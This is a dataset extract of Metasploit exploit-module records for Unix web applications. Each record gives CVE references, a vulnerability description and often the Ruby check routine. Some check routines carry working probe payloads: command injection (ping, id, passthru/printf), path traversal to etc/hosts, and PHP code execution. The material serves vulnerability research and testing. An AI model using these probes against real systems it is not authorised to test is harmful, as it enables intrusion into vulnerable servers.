deardaniel/secdata-raw huggingface dataset:
Metasploit Module: OpenMediaVault rpc.php Authenticated Cron Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/openmediavault_auth_cron_rce.rb
Platform: unix
Disclosure date: 2013-10-30
References: CVE-2013-3632, URL-https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats, URL-https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632
Targets: Unix Command, Linux Dropper

Description:
OpenMediaVault allows an authenticated user to create cron jobs as root on the system.
          An attacker can abuse this by sending a POST request via rpc.php to schedule and execute
          a cron entry that runs arbitrary commands as root on the system.
          All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.

Check method (fingerprinting):
@logged_in = login(user, pass)
    return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in

    res = check_target
    return CheckCode::Unknown('Can not identify target as OpenMediaVault.') if res.nil?

    @version_number = check_version(res)
    return CheckCode::Detected('Can not retrieve the version information.') if @version_number.nil?
    return CheckCode::Appears("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2'))

    CheckCode::Detected("Version #{@version_number}")
  end
Metasploit Module: Citrix Access Gateway Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/citrix_access_gateway_exec.rb
Disclosure date: 2010-12-21
References: CVE-2010-4566, OSVDB-70099, BID-45402, URL-http://www.vsecurity.com/resources/advisory/20101221-1/

Description:
The Citrix Access Gateway provides support for multiple authentication types.
          When utilizing the external legacy NTLM authentication module known as
          ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command
          line utility to verify a user's identity and password.  By embedding shell
          metacharacters in the web authentication form it is possible to execute
          arbitrary commands on the Access Gateway.

Check method (fingerprinting):
print_status("Attempting to detect if the Citrix Access Gateway is vulnerable...")

    # Try running/timing 'ping localhost' to determine is system is vulnerable
    start = Time.now
    post("ping -c 10 127.0.0.1", false)
    elapsed = Time.now - start
    if elapsed >= 3
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Piwik Superuser Plugin Upload
Type: exploit
Path: modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb
Platform: php
Disclosure date: 2017-02-05
References: CVE-2025-34104, URL-https://firefart.at/post/turning_piwik_superuser_creds_into_rce/, URL-https://piwik.org/faq/plugins/faq_21/, URL-https://piwik.org/changelog/piwik-3-0-3/

Description:
This module will generate a plugin, pack the payload into it
          and upload it to a server running Piwik. Superuser Credentials are
          required to run this module. This module does not work against Piwik 1
          as there is no option to upload custom plugins. Piwik disabled
          custom plugin uploads in version 3.0.3. From version 3.0.3 onwards you
          have to enable custom plugin uploads via the config file.
          Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1.
Metasploit Module: TikiWiki jhot Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb
Platform: unix
Disclosure date: 2006-09-02
References: CVE-2006-4602, OSVDB-28456, BID-19819, URL-http://web.archive.org/web/[PII_REDACTED]3145/http://secunia.com:80/advisories/21733/

Description:
TikiWiki contains a flaw that may allow a malicious user to execute
          arbitrary PHP code. The issue is triggered due to the jhot.php script
          not correctly verifying uploaded files. It is possible that the flaw
          may allow arbitrary PHP code execution by uploading a malicious PHP
          script resulting in a loss of integrity.

          The vulnerability was reported in Tikiwiki version 1.9.4.

Check method (fingerprinting):
res = send_request_raw(
      {
        'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"),
        'method' => 'GET'
      }, 25
    )

    http_fingerprint({ :response => res }) # check method

    if (res and res.code == 200 and res.body.match(/TikiWiki 1\.9\.4/))
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: BASE base_qry_common Remote File Include
Type: exploit
Path: modules/exploits/unix/webapp/base_qry_common.rb
Platform: php
Disclosure date: 2008-06-14
References: CVE-2006-2685, OSVDB-49366, BID-18298

Description:
This module exploits a remote file inclusion vulnerability in
          the base_qry_common.php file in BASE 1.2.4 and earlier.
Metasploit Module: WordPress wpDiscuz Unauthenticated File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload.rb
Platform: php
Disclosure date: 2020-02-21
References: CVE-2020-24186, URL-https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/, URL-https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md, URL-https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz

Description:
This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin
          versions >= `7.0.0` and <= `7.0.4`. This flaw gave unauthenticated attackers the ability
          to upload arbitrary files, including PHP files, and achieve remote code execution on a
          vulnerable site's server.

Check method (fingerprinting):
check_plugin_version_from_readme('wpdiscuz', '7.0.5', '7.0.0')
  end
Metasploit Module: WordPress Plugin Advanced Custom Fields Remote File Inclusion
Type: exploit
Path: modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb
Platform: php
Disclosure date: 2012-11-14
References: CVE-2012-10025, OSVDB-87353, URL-http://web.archive.org/web/[PII_REDACTED]5326/http://secunia.com:80/advisories/51037

Description:
This module exploits a remote file inclusion flaw in the WordPress blogging
          software plugin known as Advanced Custom Fields. The vulnerability allows for remote
          file inclusion and remote code execution via the export.php script. The Advanced
          Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only
          works when the php option allow_url_include is set to On (Default Off).

Check method (fingerprinting):
uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'
    uri << datastore['PLUGINSPATH']
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{uri}advanced-custom-fields/core/api.php"
    })

    if res and res.code == 200
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: FlashChat Arbitrary File Upload
Type: exploit
Path: modules/exploits/unix/webapp/flashchat_upload_exec.rb
Platform: php
Disclosure date: 2013-10-04
References: CVE-2013-10038, OSVDB-98233, EDB-28709

Description:
This module exploits a file upload vulnerability found in FlashChat
          versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload
          feature in order to upload malicious PHP files without authentication
          which results in arbitrary remote code execution as the web server user.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path, '')
    res = send_request_raw({ 'uri' => uri })

    if not res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || ''

    if version.empty?
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    vprint_status("Version found: #{version}")

    if version =~ /6\.0\.(2|4|5|6|7|8)/
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    elsif version <= "6.0.8"
      return Exploit::CheckCode::Detected("Detected version #{version}")
    else
      return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
    end
  end

  #
  # Uploads our malicious file
  # Stolen from havalite_upload_exec.rb
  #
Metasploit Module: Barracuda IMG.PL Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/barracuda_img_exec.rb
Platform: unix
Disclosure date: 2005-09-01
References: CVE-2005-2847, OSVDB-19279, BID-14712, URL-http://www.nessus.org/plugins/index.php?view=single&id=19556

Description:
This module exploits an arbitrary command execution vulnerability in the
          Barracuda Spam Firewall appliance. Versions prior to 3.1.18 are vulnerable.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI']),
      'vars_get' =>
      {
        'f' => ("../" * 8) + "etc/hosts"
      }
    }, 25)

    if (res and res.body.match(/localhost/))
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Cacti graph_view.php Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/cacti_graphimage_exec.rb
Platform: unix
Disclosure date: 2005-01-15
References: CVE-2005-10004, OSVDB-17539, BID-14042

Description:
This module exploits an arbitrary command execution vulnerability in the
          Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to
          0.8.6-d are vulnerable.
Metasploit Module: Nagios3 history.cgi Host Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/nagios3_history_cgi.rb
Platform: %w[linux unix
Disclosure date: 2012-12-09
References: CVE-2012-6096, OSVDB-88322, BID-56879, EDB-24084
Targets: Appliance Nagios XI 2012R1.3 (CentOS 6.x), Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)

Description:
This module abuses a command injection vulnerability in the
          Nagios3 history.cgi script.

Check method (fingerprinting):
print_status('Checking banner and version...')
    # Detect version
    banner, version, alert = detect_version(target_uri.path)
    # Select target
    mytarget = select_target(banner, version)

    if mytarget.nil?
      vprint_error('No matching target')
      return CheckCode::Unknown('Could not determine the target status')
    end

    if alert.nil?
      vprint_error('At least one ALERT is needed in order to exploit')
      return CheckCode::Detected('The target service was detected')
    end

    return CheckCode::Appears('The target appears to be vulnerable')
  end
Metasploit Module: HP Openview connectedNodes.ovpl Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/openview_connectednodes_exec.rb
Platform: unix
Disclosure date: 2005-08-25
References: CVE-2005-2773, OSVDB-19057, BID-14662

Description:
This module exploits an arbitrary command execution vulnerability in the
          HP OpenView connectedNodes.ovpl CGI application. The results of the command
          will be displayed to the screen.
Metasploit Module: HybridAuth install.php PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/hybridauth_install_php_exec.rb
Platform: php
Disclosure date: 2014-08-04
References: CVE-2014-125116, EDB-34273, OSVDB-109838

Description:
This module exploits a PHP code execution vulnerability in
          HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php'
          is not removed after installation allowing unauthenticated users to
          write PHP code to the application configuration file 'config.php'.

          Note: This exploit will overwrite the application configuration file
          rendering the application unusable.

Check method (fingerprinting):
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'install.php')
    if !res
      vprint_error "Connection failed"
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    elsif res.code == 404
      vprint_error "Could not find install.php"
    elsif res.body =~ />([^<]+)<\/span> must be <b >WRITABLE</
      vprint_error "#{$1} is not writable"
    elsif res.body =~ />HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</
      version = res.body.scan(/>HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</).first.first
      vprint_status "Found version: #{version}"
      if version =~ /^2\.(0\.(9|10|11)|1\.[\d]+|2\.[012])/
        return Exploit::CheckCode::Vulnerable("Detected vulnerable version #{version}")
      else
        vprint_error "HybridAuth version #{version} is not vulnerable"
      end
    end
    Exploit::CheckCode::Safe(version ? "Version #{version} is not vulnerable" : 'The target is not vulnerable')
  end

  #
  # Exploit
  #
Metasploit Module: Drupal RESTWS Module Remote PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/drupal_restws_exec.rb
Platform: php
Disclosure date: 2016-07-13
References: URL-https://www.drupal.org/node/2765567

Description:
This module exploits a Remote PHP Code Execution vulnerability in the
          Drupal RESTWS Module. Unauthenticated users can execute arbitrary code
          under the context of the web server user.

          RESTWS alters the default page callbacks for entities to provide
          additional functionality. A vulnerability in this approach allows
          an unauthenticated attacker to send specially crafted requests resulting
          in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7
          are affected by this issue.

          This module was tested against RESTWS 2.5 with Drupal 7.5 installed on
          Ubuntu Server.

Check method (fingerprinting):
r = rand_text_alpha(8 + rand(4))

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => {
        'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'"
      }
    )

    if res && res.body.include?(r)
      Exploit::CheckCode::Vulnerable('The target is vulnerable')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Maarch LetterBox Unrestricted File Upload
Type: exploit
Path: modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb
Platform: php
Disclosure date: 2015-02-11
References: CVE-2015-1587

Description:
This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of
          session and file validation in the file_to_index.php script. It allows unauthenticated
          users to upload files of any type and subsequently execute PHP scripts in the context of
          the web server.

Check method (fingerprinting):
res = send_request_cgi('method' => 'GET', 'uri' => letterbox_login_url)
    if res.nil? || res.code != 200
      return Msf::Exploit::CheckCode::Unknown('Could not determine the target status')
    elsif res.body.include?('alt="Maarch Maerys Archive v2.1 logo"')
      return Msf::Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    Msf::Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Simple PHP Blog Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/sphpblog_file_upload.rb
Platform: php
Disclosure date: 2005-08-25
References: CVE-2005-2733, OSVDB-19012, BID-14667, EDB-1191

Description:
This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
          application to upload arbitrary data and thus execute a shell. The first
          vulnerability exposes the hash file (password.txt) to unauthenticated users.
          The second vulnerability lies within the image upload system provided to
          logged-in users; there is no image validation function in the blogger to
          prevent an authenticated user from uploading any file type. The third
          vulnerability occurs within the blog comment functionality, allowing
          arbitrary files to be deleted.

Check method (fingerprinting):
res = send_request_raw({
      'uri' => normalize_uri(datastore['URI'], '/index.php')
    }, 25)

    if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)

      ver = [ $1.to_i, $2.to_i, $3.to_i ]
      vprint_status("Simple PHP Blog #{ver.join('.')}")

      if (ver[0] == 0 and ver[1] < 5)
        if (ver[1] == 4 and ver[2] > 0)
          return Exploit::CheckCode::Safe("Version #{ver.join('.')} is not vulnerable")
        end

        return Exploit::CheckCode::Appears("Version #{ver.join('.')} appears to be vulnerable")
      end
    end

    return Exploit::CheckCode::Safe(ver ? "Version #{ver.join('.')} is not vulnerable" : 'The target is not vulnerable')
  end
Metasploit Module: Mambo Cache_Lite Class mosConfig_absolute_path Remote File Include
Type: exploit
Path: modules/exploits/unix/webapp/mambo_cache_lite.rb
Platform: php
Disclosure date: 2008-06-14
References: CVE-2008-2905, OSVDB-46173, BID-29716

Description:
This module exploits a remote file inclusion vulnerability in
          includes/Cache/Lite/Output.php in the Cache_Lite package in Mambo
          4.6.4 and earlier.
Metasploit Module: Joomla Component JCE File Upload Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb
Platform: php
Disclosure date: 2012-08-02
References: OSVDB-74839, EDB-17734, BID-49338

Description:
This module exploits a vulnerability in the JCE component for Joomla!, which
          could allow an unauthenticated remote attacker to upload arbitrary files, caused by the
          fails to sufficiently sanitize user-supplied input. Sending specially-crafted HTTP
          request, a remote attacker could exploit this vulnerability to upload a malicious PHP
          script, which could allow the attacker to execute arbitrary PHP code on the vulnerable
          system. This module has been tested successfully on the JCE Editor 1.5.71 and Joomla
          1.5.26.

Check method (fingerprinting):
version = (get_version || '').to_s

    if (version.match(%r{1\.5\.7\.1[0-4]?}))
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
  end
Metasploit Module: vBulletin misc.php Template Name Arbitrary Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/php_vbulletin_template.rb
Platform: unix
Disclosure date: 2005-02-25
References: CVE-2005-0511, BID-12622, OSVDB-14047

Description:
This module exploits an arbitrary PHP code execution flaw in
          the vBulletin web forum software. This vulnerability is only
          present when the "Add Template Name in HTML Comments" option
          is enabled. All versions of vBulletin prior to 3.0.7 are
          affected.

Check method (fingerprinting):
response = go("echo ownable")
    if (!response.nil? and response =~ /ownable/sm)
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: OpenX banner-edit.php File Upload PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/openx_banner_edit.rb
Platform: php
Disclosure date: 2009-11-24
References: CVE-2009-4098, OSVDB-60499, BID-37110, URL-http://archives.neohapsis.com/archives/bugtraq/2009-11/0166.html, URL-http://www.openx.org/docs/2.8/release-notes/openx-2.8.2, URL-http://php.net/manual/en/function.getimagesize.php, URL-http://gynvael.coldwind.pl/?id=223, URL-http://gynvael.coldwind.pl/?id=224, URL-http://gynvael.coldwind.pl/?id=235, URL-http://programming.arantius.com/the+smallest+possible+gif

Description:
This module exploits a vulnerability in the OpenX advertising software.
          In versions prior to version 2.8.2, authenticated users can upload files
          with arbitrary extensions to be used as banner creative content. By uploading
          a file with a PHP extension, an attacker can execute arbitrary PHP code.

          NOTE: The file must also return either "png", "gif", or "jpeg" as its image
          type as returned from the PHP getimagesize() function.

Check method (fingerprinting):
uri = normalize_uri(datastore['URI'], 'www', 'admin/')
    res = send_request_raw(
      {
        'uri' => uri
      }, 25
    )

    if (res and res.body =~ /v.?([0-9]\.[0-9]\.[0-9])/)
      ver = $1
      vers = ver.split('.').map { |v| v.to_i }
      return Exploit::CheckCode::Safe("Version #{ver} is not vulnerable") if (vers[0] > 2)
      return Exploit::CheckCode::Safe("Version #{ver} is not vulnerable") if (vers[1] > 8)
      return Exploit::CheckCode::Safe("Version #{ver} is not vulnerable") if (vers[0] == 2 && vers[1] == 8 && vers[2] >= 2)

      return Exploit::CheckCode::Appears("Version #{ver} appears to be vulnerable")
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: WordPress Holding Pattern Theme Arbitrary File Upload
Type: exploit
Path: modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb
Platform: php
Disclosure date: 2015-02-11
References: CVE-2015-1172

Description:
This module exploits a file upload vulnerability in all versions of the
          Holding Pattern theme found in the upload_file.php script which contains
          no session or file validation. It allows unauthenticated users to upload
          files of any type and subsequently execute PHP scripts in the context of
          the web server.

Check method (fingerprinting):
check_theme_version_from_readme('holding_pattern')
  end
Metasploit Module: Mitel Audio and Web Conferencing Command Injection
Type: exploit
Path: modules/exploits/unix/webapp/mitel_awc_exec.rb
Platform: %w{linux unix}
Disclosure date: 2010-12-12
References: OSVDB-69934

Description:
This module exploits a command injection flaw within the Mitel
          Audio and Web Conferencing web interface.
Metasploit Module: rConfig install Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/rconfig_install_cmd_exec.rb
Platform: unix
Disclosure date: 2019-10-28
References: CVE-2019-16662, EDB-47555, URL-https://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902e, URL-https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
Targets: Automatic (Unix In-Memory), Automatic (Linux Dropper)

Description:
This module exploits an unauthenticated command injection vulnerability
          in rConfig versions 3.9.2 and prior. The `install` directory is not
          automatically removed after installation, allowing unauthenticated users
          to execute arbitrary commands via the `ajaxServerSettingsChk.php` file
          as the web server user.

          This module has been tested successfully on rConfig version 3.9.2 on
          CentOS 7.7.1908 (x64).

Check method (fingerprinting):
res = execute_command('id')

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.code == 404
      vprint_error 'Could not find install directory'
      return CheckCode::Safe('The target is not vulnerable')
    end

    cmd_res = res.body.scan(%r{The root details provided have not passed: (.+?)<\\/}).flatten.first

    unless cmd_res
      return CheckCode::Safe('The target is not vulnerable')
    end

    vprint_status "Response: #{cmd_res}"

    unless cmd_res.include?('uid=')
      return CheckCode::Detected('The target service was detected')
    end

    CheckCode::Vulnerable('The target is vulnerable')
  end